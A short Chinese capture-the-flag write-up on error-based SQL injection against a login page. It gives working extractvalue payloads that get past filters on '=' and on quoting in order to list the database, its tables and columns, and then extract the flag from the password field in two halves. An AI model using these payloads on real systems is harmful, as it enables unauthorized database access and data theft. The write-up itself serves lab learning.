1.报错注入
sql注入首先先试一下万能密码。
再试试双写
大小写
都不行都被搬了。但是我们发现单独输入一个’会出现报错界面。
尝试使用extractvalue进行报错注入,因为这里=被搬了我们使用like来代替=。
payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(database()))))%23
成功出了库名,那么接下来就是经典组合拳了。
爆表名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
爆列名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
猜测password是我们要的flag信息。查询password,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
回显有限制,只出来了一半,我们可以用left,right来左右分别查看然后拼接。payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
左右拼起来就是flag。